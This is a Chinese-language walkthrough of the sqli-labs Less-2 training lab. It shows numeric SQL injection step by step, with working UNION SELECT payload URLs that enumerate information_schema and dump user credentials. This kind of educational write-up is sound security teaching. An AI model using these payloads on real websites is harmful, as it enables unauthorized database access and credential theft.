sqli-labs Less-2 通关笔记

blog 252

0x01 注入点判断

我们输入id=2 发现页面返回正常

http://localhost/sql/Less-2/?id=2
sqli-labs Less-2 通关笔记

我们尝试使用id=3-1 如果页面显示的为id=2的结果,那么判断此页面存在sql注入(因为3-1=2 实际上是id=2,)。

http://localhost/sql/Less-2/?id=3 - 1 

由此可以判断该页面存在sql注入

sqli-labs Less-2 通关笔记

0x02 注入类型判断

一般注入类型可以分为字符型注入、数字型注入、布尔类型注入、时间盲注、报错注入。

我们尝试输入id=1a 观察页面返回的结果,从而判断注入的类型。

id=1a如果返回的数据和id=1的数据完全一致,那么可判断出它存在字符型的注入。

因为字符串"1a"会被PHP进行强制类型转换,将"1a"转换为数字类型的1。因此可以等同于id=1。(在PHP中被单引号或者双引号包裹起来的字符,我们称之为字符串。)

http://localhost/sql/Less-2/?id=1a
sqli-labs Less-2 通关笔记

我们通过上述返回的数据可以得知它不是一个字符型的注入,如果是字符型的注入的情况下,那么我们输入id=1a返回的数据应该和id=1返回的数据一致。我们可以发现以上返回的数据不一致,我们这里返回的是名为1a的列未知。

因此可以判断出它是一个数字型注入。(数字型就是普通的数字比如1 2 3 4 5 6 这种不被单引号或者双引号包裹起来的阿拉伯数字。)

0x03 判断列(字段)的长度

我们尝试输入id=1 order by 5 判断字段的长度

http://localhost/sql/Less-2/?id=1 order by 5
sqli-labs Less-2 通关笔记

发现页面报错,那么可以说明,该表的列(字段)不为5

那么我们尝试id=1 order by 3 发现页面返回数据正常 因此可以判断该表的字段大于或等于3

我们继续尝试输入id=1 order by 4 发现页面返回错误 因此我们可以判断出该列的长度为3

http://localhost/sql/Less-2/?id=1 order by 3   # 返回正常
http://localhost/sql/Less-2/?id=1 order by 4   # 返回错误
sqli-labs Less-2 通关笔记

0x04 union联合查询注入

在前面我们可以得知该表的列为3列。那么我们尝试使用union进行注入。

union 联合查询语句 可以同时执行两个或多个查询。

注意:

  • UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
  • UNION 内部的 SELECT 语句必须拥有相同数量的列。

0x04.1 union在mysql中的使用

普通的select查询

sqli-labs Less-2 通关笔记

使用union之后的查询

我们可以union语句同时查询两个表的内容。也就是说同时执行两个select语句。

以下实例我们使用union语句同时查询了users表和test_table表。

我们还可以使用union同时查询两个或者多个表。

sqli-labs Less-2 通关笔记

但是要注意,两个表的列要是相同的。不然会报错。

以下命令我们使用union语句执行了两个select查询,但是由于前者表的列数和后者的列数不一致。从而报错。

ERROR 1222 (21000): The used SELECT statements have a different number of columns
翻译成人可以听懂的语言就是: 使用的SELECT语句的列数不同
sqli-labs Less-2 通关笔记

假设我们的users表中有3列。而test_table表中只有一列。那么我们如何使用union语句成功执行这个不同列的查询呢?

当两个列不同的时候,我们可以使用其他函数或者数字进行占位。从而实现我们的union语句的执行。

比如说,我们下面的例子使用2和3进行占位。由于users表中有3列,那么我们可以使用占位的形式,使后者的表中也有三列。方可成功执行union语句。

sqli-labs Less-2 通关笔记

我们还可以将占位符2和3修改为mysql中的函数database()和user()。

介绍几个常用的系统

  • database() 当前使用的数据库
  • user() 当前登录的用户
  • version() Mysql的版本
  • @@datadir 数据库路径
  • @@version_compile_os 操作系统版本
sqli-labs Less-2 通关笔记

0x04.2 基于union语句注入

在前面我们使用order by 得知该表的列为3列。那么我们就可以构造语句 id=1 union select 1,2,3

这里的1、2、3 用于占位。观察页面回显的数据,然后将其替换为我们想要执行的语句。

发现页面只有id=1的回显,并没有回显到我们要查询的数据123。

这是因为 由于后端代码的限制,只在页面中输出一行。因此我们可以将 id=1 修改为id=-1 。我们想要id=-1查询为空,然后回显我们想要的数据。

http://localhost/sql/Less-2/?id=1 union select 1,2,3
http://localhost/sql/Less-2/?id=-1 union select 1,2,3  # 让前面的语句查询为空 回显我们后面的语句。
sqli-labs Less-2 通关笔记
sqli-labs Less-2 通关笔记

发现页面在Login name处返回了2。Password返回了3。也就是我们执行的union select 1,2,3 的返回结果。可以发现2和3成功回显了页面。我们可以尝试将2和3 修改为database()和user()

http://localhost/sql/Less-2/?id=-1 union select 1,database(),user()
sqli-labs Less-2 通关笔记

可以发现页面回显了我们当前网站使用的数据库security和登录的用户root。

0x04.3 字符串连接函数

  • concat(str1,str2,...) 没有分隔的连接字符串
  • concat_ws(separator,str1,str2,...) 含有分隔符的连接字符串
  • group_concat(str1,str2,...) 连接一个组的所有字符串,以逗号分隔每一条数据
concat()函数的使用

没有使用concat()之前的select查询

可以发现返回结果荆条有序,并输出了2行3列。

sqli-labs Less-2 通关笔记

使用concat()之后的查询:

sqli-labs Less-2 通关笔记

可以发现它将我们的id,username,password字段没有进行任何分隔的连接到了一起。作为一列进行输出。输出了2行1列。

concat_ws函数的使用

以下命令我们使用”_“分隔多个列的查询结果。将其输出为两行一列。

sqli-labs Less-2 通关笔记
group_concat()函数的使用

  • 连接一个组的所有字符串,并以逗号分隔每一条数据
  • sqli-labs Less-2 通关笔记

    我们使用group_concat()发现将3列的数据,返回了1列。然后将原本要输出两行的数据,输出到了一行。并以逗号进行了分隔。

    0x04.4 注入中两个重要的数据库及表

    • information_schema库 保存了MySQl服务所有数据库的信息。
      • schemata表 存储了所有的数据库中的数据库名。
        • schema_name 列 存储了某个数据库的名
      • tables表 存储所有数据库的所有表
        • table_name列 存储了所有的数据库表名
        • table_schema 列 存储了对应表的数据库名
      • columns表 存储了所有数据表中的列明
        • column_name 列 存储了对应列的列名
    • mysql库 保存MySQL的权限、参数、对象和状态信息。
      • user表 存储了mysql登录用户的用户名(User),主机(Host),Passowrd(密码)。

    myslq <= 5.6之前的数据库 mysql数据库下的user表中的Password为登录mysql的密码。

    mysql <= 5.7 之后的数据库 mysql数据库下的user表中的authentication_string

    0x04.5 获取所有数据库名

    http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata
    sqli-labs Less-2 通关笔记

    通过上述的回显,我们成功获取到了该数据库中的所有数据库。

    通过payload我们可以推断,在后端页面写的sql查询语句 大概为 select username,password from users where id= $id 经过我们的union语句联合查询之后 完整的查询语句为 select username,password from users where id = -1 union select 1,2,group_concat(schema_name) from information_schema.schemata

    0x04.6 获取某个数据库的表

    http://localhost/sql/Less-2/?id=1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
    sqli-labs Less-2 通关笔记

    根据上述payload我们得出了security数据库中有emails,referers,uagents,users 我们发现users表非常可疑,于是我们尝试获取users表的所有字段。

    http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'
    sqli-labs Less-2 通关笔记

    可以看到security数据库的users表中有id,username,password三个字段。

    0x04.7 获取表的数据

    http://localhost/sql/Less-2/?id=-1 union select 1,2,group_concat(username,0x7e,password) from users
    sqli-labs Less-2 通关笔记

    payload中的0x7e转换为字符串为~,这样写的目的是用户名和密码之间使用~进行分隔。

    可以发现,成功获取了数据。

    其实本关也有其他的思路,比如说使用报错注入。报错注入的方式和第一关使用的报错注入基本一致。只是他们的类型不同,本关使用的是数字型注入,第一关则使用的是字符型注入。这里就不再演示。

    分享